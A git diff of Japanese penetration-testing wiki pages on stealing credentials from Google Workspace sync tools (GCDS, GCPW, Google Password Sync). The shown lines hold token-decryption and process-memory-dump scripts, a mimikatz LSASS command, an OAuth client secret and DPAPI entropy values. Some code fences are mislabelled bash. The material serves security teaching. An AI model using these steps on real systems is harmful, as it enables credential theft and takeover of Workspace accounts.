### GCDS - ディスクトークンとAD資格情報 -バイナリ`config-manager.exe`(GUIを持つ主要なGCDSバイナリ)は、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトで**xmlファイル**に**`C:\Program Files\Google Cloud Directory Sync`**フォルダー内の**`Untitled-1.xml`**というファイルに保存します。ただし、ユーザーの`Documents`や**他の任意のフォルダー**に保存される可能性もあります。 +バイナリ`config-manager.exe`(GUIを持つ主要なGCDSバイナリ)は、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトで**xmlファイル**に保存します。保存先は**`C:\Program Files\Google Cloud Directory Sync`**フォルダー内の**`Untitled-1.xml`**というファイルです。ユーザーの`Documents`や**他の任意のフォルダー**に保存されることもあります。 さらに、レジストリ**`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`**内のキー**`open.recent`**には、最近開かれたすべての構成ファイル(xml)のパスが含まれています。したがって、**それを確認して見つけることが可能です**。 @@ -49,12 +49,12 @@ XMmsPMGxz7nkpChpC7h2ag== [...] ``` -**リフレッシュ** **トークン**とユーザーの**パスワード**が、ランダムに生成されたキーとIVを使用して**AES CBC**で**暗号化**されていることに注意してください。これらは**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されています(**`prefs`** Javaライブラリが設定を保存する場所)。文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64形式で保存されています。 +**リフレッシュ** **トークン**とユーザーの**パスワード**が、ランダムに生成されたキーとIVを使用して**AES CBC**で**暗号化**されていることに注意してください。これらは**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されており(**`prefs`** Javaライブラリが設定を保存する場所)、文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64形式で保存されています。
リフレッシュトークンとパスワードを復号化するためのPowershellスクリプト -```powershell +```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" @@ -152,7 +152,7 @@ Write-Host "Decrypted Password: $decryptedPassword" > [!NOTE] > この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys`という文字列を検索することで確認できることに注意してください(これはバイナリ `upgrade-config.exe` がキーをダンプするために期待するCLIパラメータです)。 -PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータで使用し、レジストリから **Key** と **IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化することも可能です。 +PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータと共に使用し、レジストリから **Key** と **IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化することも可能です。 ### GCDS - メモリからのトークンのダンプ @@ -162,7 +162,7 @@ ADに設定された資格情報も見つけることができると思います
config-manager.exeプロセスをダンプしてトークンを検索する -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force ### GCDS - リフレッシュトークンからアクセストークンを生成する -リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます。 +リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます: ```bash curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ @@ -248,7 +248,7 @@ https://www.googleapis.com/oauth2/v4/token ### GCDS - スコープ > [!NOTE] -> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、**アクセス トークンを生成しているアプリケーションでサポートされているスコープのみを要求できるからです**。 +> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、アクセス トークンを生成しているアプリケーションでサポートされている**スコープのみを要求できる**からです。 > > また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。 @@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt ```
-そして、これが執筆時に得られた出力です: +そして、これが執筆時に得られた出力です: ``` https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md index 30a4a51c9..2d044045e 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md @@ -7,7 +7,7 @@ これは、Google Workspacesが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンが保存されます。 > [!TIP] -> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報を取得し、**トークン**さえも取得できることに注意してください。 +> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報や**トークン**さえ取得できることに注意してください。 ### GCPW - MitM @@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_type=chrome ``` -新しい行が追加されて、より読みやすくなっています。 - > [!NOTE] -> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することで、MitMを実行することが可能でした。これにより、**CMD**が実行され、**Proxifierを起動して構成する**ことができます。\ +> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することでMitMを実行することが可能でした。これにより**CMD**が実行され、**Proxifierを起動および構成**できます。\ > `Proxifier`でQUICK UDPトラフィックを**ブロック**することを忘れないでください。そうすることでTCP通信にダウングレードされ、見ることができます。 > -> また、「サービスおよび他のユーザー」で両方のオプションを設定し、WindowsにBurp CA証明書をインストールしてください。 +> また、「サービスおよび他のユーザー」で両方のオプションを構成し、WindowsにBurp CA証明書をインストールしてください。 -さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1`と`log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。 +さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1`および`log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。 ### GCPW - フィンガープリント -デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します。 -```powershell +デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します: +```bash # Check process gcpw_extension.exe if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { Write-Output "The process gcpw_xtension.exe is running." @@ -64,9 +62,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists." Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." } ``` -**`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。 +In **`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。 -**`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメールアドレス、写真、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。 +In **`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメール、画像、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。 > [!NOTE] > トークンハンドルは `eth.` で始まるトークンで、次のようなリクエストでいくつかの情報を抽出できます: @@ -74,7 +72,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." > ```bash > curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ > -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg' -> # 例の応答 +> # Example response > { > "audience": "77185425430.apps.googleusercontent.com", > "scope": "https://www.google.com/accounts/OAuthLogin", @@ -87,7 +85,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." > ```bash > curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ > -d 'access_token=' -> # 例の応答 +> # Example response > { > "issued_to": "77185425430.apps.googleusercontent.com", > "audience": "77185425430.apps.googleusercontent.com", @@ -100,7 +98,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." > > 知る限り、トークンハンドルからリフレッシュトークンやアクセストークンを取得することはできません。 -さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** は、`enableDmEnrollment`、`enableGcpAutoUpdate`、`enableMultiUserLogin`(複数のWorkspaceユーザーがコンピュータにログインできるかどうか)や、`validityPeriodDays`(ユーザーがGoogleに直接再認証する必要がない日数)などの異なる **settings** の情報を含むJSONです。 +さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** は、`enableDmEnrollment`、`enableGcpAutoUpdate`、`enableMultiUserLogin`(複数のWorkspaceユーザーがコンピュータにログインできるかどうか)や、`validityPeriodDays`(ユーザーがGoogleに直接再認証する必要がない日数)などの異なる **settings** の情報を含むjsonです。 ## GCPW - トークンの取得 @@ -110,8 +108,8 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
-HKCU:\SOFTWARE\Google\Accounts のデータを取得し、refresh_tokensを復号化する -```powershell +Get HKCU:\SOFTWARE\Google\Accounts data and decrypt refresh_tokens +```bash # Import required namespace for decryption Add-Type -AssemblyName System.Security @@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey ``` Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI ``` -[**このビデオ**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\\th`**の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。 +[**この動画**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\\th`**の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。 ### GCPW - ディスクリフレッシュトークン @@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco さらに、暗号化はこのコードで見つけることができます:[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216) -AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**サイファーテキスト**と**16BのMAC**があります。 +AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**16BのMAC**を持つ**暗号文**があります。 ### GCPW - プロセスメモリからのトークンダンプ -以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセストークン**および**リフレッシュトークン**に関連する文字列を**検索**できます。ChromeがいくつかのGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセストークンを保存しています!** +以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセスおよびリフレッシュトークン**に関連する文字列を**検索**できます。ChromeがGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセス トークンを保存しています!**
Chromeプロセスをダンプしてトークンを検索 -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force `gcpw_extension.exe`を使って同じことを試みましたが、トークンは見つかりませんでした。 -何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ文字を削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません: +何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません:
-1文字ずつ文字を削除してアクセストークンを確認する +1文字ずつ削除してアクセストークンを確認する ```bash #!/bin/bash @@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile ```
-さらに、Chromiumのソースコードを確認すると、[**このファイル**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)を見つけることができ、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます: +さらに、Chromiumのソースコードを確認すると、[**このファイルを見つけることができます**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)が、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます:
@@ -463,7 +461,7 @@ https://www.googleapis.com/auth/wallet.chrome ```
-最も興味深いのはおそらく次のものです: +最も興味深いのはおそらく次のものです: ```c // OAuth2 scope for access to all Google APIs. const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; @@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
-https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile ```bash curl -X GET \ -H "Authorization: Bearer $access_token" \ @@ -760,10 +758,10 @@ curl -X POST \ https://www.googleapis.com/auth/ediscovery (Google Vault) -**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータの保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。 +**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータのデータ保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。 - Google Workspace Vaultにおける**Matter**は、特定のケース、調査、または法的問題に関連するすべての情報を整理し、グループ化する**コンテナ**です。これは、その特定の問題に関連する**Holds**、**Searches**、および**Exports**を管理するための中心的なハブとして機能します。 -- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内でのデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。 +- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内のデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。 ```bash # List matters curl -X GET \ @@ -791,13 +789,13 @@ curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://vault.googleapis.com/v1/matters//holds?pageSize=10" ``` -More [API endpoints in the docs](https://developers.google.com/vault/reference/rest). +より多くの [API エンドポイントはドキュメントにあります](https://developers.google.com/vault/reference/rest)。
## GCPW - 平文パスワードの回復 -GCPWを悪用してパスワードの平文を回復するには、**mimikatz**を使用して**LSASS**から暗号化されたパスワードをダンプすることが可能です: +GCPWを悪用してパスワードの平文を回復するには、**mimikatz**を使用して**LSASS**から暗号化されたパスワードをダンプすることが可能です: ```bash mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit ``` @@ -805,7 +803,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
-次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵を要求することができます: +次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵をリクエストすることができます:
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md index 089b544c3..08ca9fa46 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md @@ -16,33 +16,33 @@ - GUIのあるドメインコントローラーでのみ利用可能 - **Workspaceユーザーを管理する**権限を持つ**GCPのサービスアカウントの資格情報**(jsonファイル)を提供 - これらの資格情報は期限切れにならず、悪用される可能性があるため非常に悪いアイデアです -- SAがGCPで侵害される可能性があるため、Workspaceに対してSAにアクセスを与えるのは非常に悪いアイデアです -- GUIのないドメインコントロール用にGoogleが要求します +- SAがGCPで侵害される可能性があるため、WorkspaceへのSAアクセスを与えるのは非常に悪いアイデアです +- GUIのないドメイン制御にはGoogleが必要とします - これらの資格情報もレジストリに保存されます -ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化**されて**レジストリ**に保存されます。 +ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化され**て**レジストリ**に保存されます。 ### GPS - ディスクからのパスワードとトークンのダンプ > [!TIP] > [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GPS**を検出し、設定に関する情報を取得し、**パスワードとトークンを復号化する**ことができます。 -**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**ファイル内には、設定の一部として**`baseDN`**や使用されている**`username`**が見つかります。 +ファイル**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**には、設定の一部として**ADの`baseDN`**や使用されている**ユーザー名**が見つかります。 -レジストリの**`HKLM\Software\Google\Google Apps Password Sync`**内には、ADユーザーのための**暗号化されたリフレッシュトークン**と**暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりに**SA資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。 +レジストリ**`HKLM\Software\Google\Google Apps Password Sync`**には、**暗号化されたリフレッシュトークン**と**ADユーザーのための暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりに**SA資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。 暗号化された**パスワード**(存在する場合)は**`ADPassword`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };` 暗号化されたトークン(存在する場合)は**`AuthToken`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\ さらに、これは**`0123456789abcdefghijklmnopqrstv`**という辞書を使用してbase32hexでエンコードされています。 -エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**および**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、これにより設定されたパスワードと認証トークンが最初に復号化され、ツールは両方のケースで使用された**エントロピーの値**を**表示**します: +エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**および**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、設定されたパスワードと認証トークンを最初に復号化し、ツールは両方のケースで使用されたエントロピーの値を**表示**します:
これらのAPIへの呼び出しの入力または出力で**復号化された**値を見ることも可能です(Winpeasが動作しなくなった場合に備えて)。 -パスワード同期が**SA資格情報で設定されている**場合、それもレジストリの**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。 +パスワード同期が**SA資格情報で設定されている**場合、それもレジストリ**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。 ### GPS - メモリからのトークンのダンプ @@ -52,7 +52,7 @@ ADに設定された資格情報も見つけることができると思います
PasswordSync.exeおよびpassword_sync_service.exeプロセスをダンプしてトークンを検索 -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" @@ -148,7 +148,7 @@ https://www.googleapis.com/oauth2/v4/token
-スコープをブルートフォースするためのBashスクリプト +Bashスクリプトでスコープをブルートフォースする ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" @@ -172,13 +172,13 @@ rm /tmp/valid_scopes.txt ```
-そして、これが執筆時に得られた出力です: +そして、これが執筆時に得られた出力です: ``` https://www.googleapis.com/auth/admin.directory.user ``` どのスコープも指定しない場合と同じです。 > [!CAUTION] -> このスコープでは、**既存のユーザーのパスワードを変更して権限を昇格させる**ことができます。 +> このスコープでは、**既存のユーザーのパスワードを変更して特権を昇格させる**ことができます。 {{#include ../../../banners/hacktricks-training.md}}